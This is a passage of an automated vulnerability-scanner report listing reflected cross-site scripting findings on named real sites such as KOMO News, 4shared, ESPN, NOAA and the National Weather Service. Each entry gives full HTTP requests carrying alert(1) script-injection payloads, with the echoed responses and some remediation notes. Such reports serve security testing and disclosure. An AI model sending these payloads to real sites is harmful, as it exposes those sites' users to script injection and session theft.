/bloomfield-nm/shopping/musical-instruments/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 145d2"><script>alert(1)</script>dfc358508db was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bloomfield-nm/shopping/musical-instruments/x22?145d2"><script>alert(1)</script>dfc358508db=1 HTTP/1.1 Host: qa.wimgo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the cb request parameter is copied into the HTML document as plain text between tags. The payload e042f<script>alert(1)</script>2f8618a1586 was submitted in the cb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /members/util/getUserInfo?cb=runOmnitureIndependentlye042f<script>alert(1)</script>2f8618a1586 HTTP/1.1 Host: r.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Content-Length: 108 Content-Type: text/html; charset=iso-8859-1 Server: barista/3.3.6 p3p: CP=CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE
The value of the loop request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bbf71"%20a%3db%20e62e3e0d62b was submitted in the loop parameter. This input was echoed as bbf71" a=b e62e3e0d62b in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /radar_lite.php?product=N0R&rid=GYX&loop=nobbf71"%20a%3db%20e62e3e0d62b HTTP/1.1 Host: radar.weather.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Age: 0 Date: Sat, 26 Feb 2011 02:18:31 GMT Content-Length: 14076 Content-Type: text/html; charset=UTF-8 Expires: Sat, 26 Feb 2011 02:28:31 GMT Cache-Control: max-age=600 Server: Apache Via: 1.1 hyacinth (NetCache NetApp/6.0.3), 1.0 c3.w3.woc (squid) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en"><head> <title>National Weather Service radar from Portland, ME</title> <meta nam ...[SNIP]... <a class="navbar" href="radar.php?rid=gyx&overlays=11101111&product=N0R&loop=nobbf71" a=b e62e3e0d62b" title="Go to the Enhanced Version"> ...[SNIP]...
The value of the product request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b52b"%20a%3db%20b5abd972cb4 was submitted in the product parameter. This input was echoed as 3b52b\" a=b b5abd972cb4 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /radar_lite.php?product=N0R3b52b"%20a%3db%20b5abd972cb4&rid=GYX&loop=no HTTP/1.1 Host: radar.weather.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Age: 0 X-Cache-TTL: 172800 Date: Sat, 26 Feb 2011 02:15:01 GMT Content-Length: 14089 Content-Type: text/html; charset=iso-8859-1 Expires: Mon, 28 Feb 2011 02:15:01 GMT Cache-Control: max-age=172800 Server: Apache Vary: Accept-Encoding X-Cached-Time: Sat, 26 Feb 2011 02:15:01 GMT Via: 1.1 nws-hq-cache03 (NetCache NetApp/6.0.7), 1.0 c3.w3.woc (squid) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en"><head> <title>National Weather Service radar from Portland, ME</title> <meta nam ...[SNIP]... <a class="navbar" href="radar.php?rid=gyx&overlays=11101111&product=N0R3b52b\" a=b b5abd972cb4&loop=no" title="Go to the Enhanced Version"> ...[SNIP]...
The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload a34c8<script>alert(1)</script>edbd78759d0 was submitted in the mbox parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /m2/recreationalequipmen/mbox/standard?mboxHost=www.rei.com&mboxSession=1298667914619-871377&mboxPC=1298667914619-871377.17&mboxPage=1298667927682-403800&screenHeight=1200&screenWidth=1920&browserWidth=1437&browserHeight=954&browserTimeOffset=-360&colorDepth=16&mboxCount=1&mbox=recs_hpCustPicksa34c8<script>alert(1)</script>edbd78759d0&mboxId=0&mboxTime=1298646327740&mboxURL=http%3A%2F%2Fwww.rei.com%2F&mboxReferrer=&mboxVersion=39 HTTP/1.1 Host: recreationalequipmen.tt.omtrdc.net Proxy-Connection: keep-alive Referer: http://www.rei.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 212 Date: Fri, 25 Feb 2011 21:06:33 GMT Server: Test & Target
The value of the ctp request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2c3c1'%3balert(1)//3dbbc323ad9 was submitted in the ctp parameter. This input was echoed as 2c3c1';alert(1)//3dbbc323ad9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /rrserver/p13n_generated.js?a=5387d7af823640a7&ts=1298696265845&cis=%7C72384&p=1a6ddbd&re=True&cts=http%3A%2F%2Fwww5.jcpenney.com%2Fjcp%2F&pt=%7Censemble_page.content1&s=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&ctp=%7C0%3AcmOrigId%25253D1a6ddbd%252526cmTypeFlag%25253DRichRel%252526cmCatID%25253Dhomepage%25257C723842c3c1'%3balert(1)//3dbbc323ad9&pref=http%3A%2F%2Fwww4.jcpenney.com%2Fjcp%2FXGN.aspx%3Fn%3D4294953363%26catsel%3D4294953363--comforters%2B%2B%2Bbedspreads%26deptid%3D70750%26pcatid%3D70750%26catid%3D72384%26cattyp%3DSAL%26dep%3DBEDDING%26pcat%3DBEDDING%26cat%3DSale%26refpagename%3DDefault%25252Easpx%26refdeptid%3D%26refcatid%3D%26cmAMS_T%3DT1%26cmAMS_C%3DC3%26CmCatId%3Dhomepage&l=1 HTTP/1.1 Host: recs.richrelevance.com Proxy-Connection: keep-alive Referer: http://www5.jcpenney.com/jcp/X6E.aspx?GrpTyp=ENS&ItemID=1a6ddbd&deptid=70750&dep=BEDDING&catid=72384&pcat=BEDDING&cat=Sale&NOffset=0&CatSel=4294953363%7ccomforters+%2b+bedspreads&pcatid=70750&Ne=4294957900+5+877+1014+1031+1007+6+8+904+18+833&N=4294953363&SO=0&cattyp=SAL&Nao=0&PSO=0&CmCatId=homepage|72384 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uc=8f0d715c-e29a-4f38-9373-184b98130248
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Sat, 26 Feb 2011 05:00:30 GMT Content-Type: application/x-javascript;charset=UTF-8 Connection: keep-alive P3p: policyref="http://recs.richrelevance.com/w3c/p3p.xml", CP="NOI DSP COR NID CUR OUR NOR" Set-Cookie: vihc=b126.1298696430236.43015778%7C; Path=/ Set-Cookie: pvihc=b126.1298696430236.43015778%7C; Expires=Tue, 23-Feb-2021 05:00:30 GMT; Path=/ Vary: Accept-Encoding Content-Length: 13433
var rr_recs={placements:[{used:false,placementType:'ensemble_page.content1',html:'<div class="rrOuterBox"> <div class="rrStrategyMessage" style="zoom: 1">Customers who viewed 400TC WrinkleGuard Bed ...[SNIP]... 818AD551CB2274291EC1105704&pg=615&p=1649c84&ct=http%3A%2F%2Fwww5.jcpenney.com%2Fjcp%2FX6E.aspx%3FGrptyp%3DENS%26ItemId%3D1649c84%26cmOrigId%3D1a6ddbd%26cmTypeFlag%3DRichRel%26cmCatID%3Dhomepage%7C723842c3c1';alert(1)//3dbbc323ad9\'"> ...[SNIP]...
The value of the message request parameter is copied into the HTML document as plain text between tags. The payload 702bd<script>alert(1)</script>df4883bec6d was submitted in the message parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /orr_search.php?message=The%20page%20you%20requested%20was%20not%20found.%20Please%20use%20our%20search%20page%20to%20find%20what%20you%20were%20looking%20for.702bd<script>alert(1)</script>df4883bec6d HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <meta name="generator" cont ...[SNIP]... <strong>The page you requested was not found. Please use our search page to find what you were looking for.702bd<script>alert(1)</script>df4883bec6d</strong> ...[SNIP]...
1.156. http://response.restoration.noaa.gov/orr_search.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://response.restoration.noaa.gov
Path:
/orr_search.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 3c06b<script>alert(1)</script>96a6c1f2475 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /orr_search.php?message=The%20page%20you%20requested%20was%20not%20found.%20Please%20use%20our%20search%20page%20to%20find%20what%20you%20were%20looking%20/3c06b<script>alert(1)</script>96a6c1f2475for. HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <meta name="generator" cont ...[SNIP]... <strong>The page you requested was not found. Please use our search page to find what you were looking /3c06b<script>alert(1)</script>96a6c1f2475for.</strong> ...[SNIP]...
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 5975d<script>alert(1)</script>8e27cf83e0e was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /rtb.ashx/verifyc?ctx=741233&cmp=5027088&plc=56548503&sid=953349&num=1&ver=4&dv_url=http%3A//www.komonews.com/&callback=__verify_callback_2587954816405975d<script>alert(1)</script>8e27cf83e0e HTTP/1.1 Host: rtb0.doubleverify.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Content-Type: text/javascript; charset=utf-8 Server: Microsoft-IIS/7.0 Date: Wed, 23 Feb 2011 21:37:10 GMT Content-Length: 74
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 81082"-alert(1)-"fa1a66483cf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://search.4shared.com/s ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://search.4shared.com/css81082"-alert(1)-"fa1a66483cf/common.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() {
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2823d"-alert(1)-"5c1c5cba9a2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://search.4shared.com/s ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://search.4shared.com/css/common.css2823d"-alert(1)-"5c1c5cba9a2"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 89bb8"-alert(1)-"0465f9b3ed8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://search.4shared.com/s ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://search.4shared.com/css89bb8"-alert(1)-"0465f9b3ed8/main.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() {
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 860a4"-alert(1)-"28ebbe0199e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://search.4shared.com/s ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://search.4shared.com/css/main.css860a4"-alert(1)-"28ebbe0199e"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a3880"-alert(1)-"5bdfa9fe7b5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://search.4shared.com/s ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://search.4shared.com/cssa3880"-alert(1)-"5bdfa9fe7b5/mainWithoutCommon.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedb ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 63f80"-alert(1)-"11bae875e74 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://search.4shared.com/s ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://search.4shared.com/css/mainWithoutCommon.css63f80"-alert(1)-"11bae875e74"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 36042"-alert(1)-"1c581c8364b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://search.4shared.com/s ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://search.4shared.com/js36042"-alert(1)-"1c581c8364b/utils.js"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() {
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f0040"-alert(1)-"c8a96e2acb2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://search.4shared.com/s ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://search.4shared.com/js/utils.jsf0040"-alert(1)-"c8a96e2acb2"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
1.166. http://search.4shared.com/search.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://search.4shared.com
Path:
/search.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload ef9a6--><script>alert(1)</script>310e4e7016 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /search.html?ef9a6--><script>alert(1)</script>310e4e7016=1 HTTP/1.1 Host: search.4shared.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 337fb<script>alert(1)</script>c9bcf2da6ef was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /s/ie8337fb<script>alert(1)</script>c9bcf2da6ef/suggestions?q={searchTerms} HTTP/1.1 Host: search.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Connection: close Content-Length: 139 Content-Type: text/html; charset=iso-8859-1 Server: barista/3.3.6
<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY>404 Not Found<HR>/s/ie8337fb<script>alert(1)</script>c9bcf2da6ef/suggestions</BODY></HTML>
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 5dae3<script>alert(1)</script>2ed2625dccf was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /s/ie8/suggestions5dae3<script>alert(1)</script>2ed2625dccf?q={searchTerms} HTTP/1.1 Host: search.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Connection: close Content-Length: 139 Content-Type: text/html; charset=iso-8859-1 Server: barista/3.3.6
<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY>404 Not Found<HR>/s/ie8/suggestions5dae3<script>alert(1)</script>2ed2625dccf</BODY></HTML>
1.169. http://search.komonews.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://search.komonews.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 828f5"><script>alert(1)</script>39ab8bcd49a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?828f5"><script>alert(1)</script>39ab8bcd49a=1 HTTP/1.1 Host: search.komonews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>KOMO News</title> <meta http-equiv="X-UA-Compatible" content="IE=7" /> <m ...[SNIP]... <link rel="alternate" type="application/rss+xml" title="KOMO News Updates" href="http://search.komonews.com/default.aspx?ct=r&828f5"><script>alert(1)</script>39ab8bcd49a=1&ename=rsspage" /> ...[SNIP]...
1.170. http://search.komonews.com/Boeing [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://search.komonews.com
Path:
/Boeing
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5871d"><script>alert(1)</script>471bc5d854b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Boeing?5871d"><script>alert(1)</script>471bc5d854b=1 HTTP/1.1 Host: search.komonews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.171. http://search.komonews.com/Microsoft [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://search.komonews.com
Path:
/Microsoft
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1976"><script>alert(1)</script>295fe6a9b13 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Microsoft?f1976"><script>alert(1)</script>295fe6a9b13=1 HTTP/1.1 Host: search.komonews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Microsoft News</title> <meta http-equiv="X-UA-Compatible" content="IE=7" / ...[SNIP]... <link rel="alternate" type="application/rss+xml" title="KOMO News Updates" href="http://search.komonews.com/default.aspx?ct=r&type=20245,89000029&f1976"><script>alert(1)</script>295fe6a9b13=1&ename=rsspage" /> ...[SNIP]...
1.172. http://search.komonews.com/National-Leaders/Barack-Obama [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://search.komonews.com
Path:
/National-Leaders/Barack-Obama
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload afb1f"><script>alert(1)</script>56cfaf9390e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /National-Leaders/Barack-Obama?afb1f"><script>alert(1)</script>56cfaf9390e=1 HTTP/1.1 Host: search.komonews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Barack Obama News</title> <meta http-equiv="X-UA-Compatible" content="IE=7 ...[SNIP]... <link rel="alternate" type="application/rss+xml" title="KOMO News Updates" href="http://search.komonews.com/default.aspx?ct=r&type=20230,50001140&afb1f"><script>alert(1)</script>56cfaf9390e=1&ename=rsspage" /> ...[SNIP]...
1.173. http://search.komonews.com/Sports/Mariners [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://search.komonews.com
Path:
/Sports/Mariners
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd653"><script>alert(1)</script>52ad56ec133 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Sports/Mariners?bd653"><script>alert(1)</script>52ad56ec133=1 HTTP/1.1 Host: search.komonews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.174. http://search.komonews.com/Sports/Seahawks [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://search.komonews.com
Path:
/Sports/Seahawks
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed940"><script>alert(1)</script>af0d5982538 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Sports/Seahawks?ed940"><script>alert(1)</script>af0d5982538=1 HTTP/1.1 Host: search.komonews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.175. http://search.komonews.com/Sports/Sounders [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://search.komonews.com
Path:
/Sports/Sounders
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52dca"><script>alert(1)</script>187c0480744 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
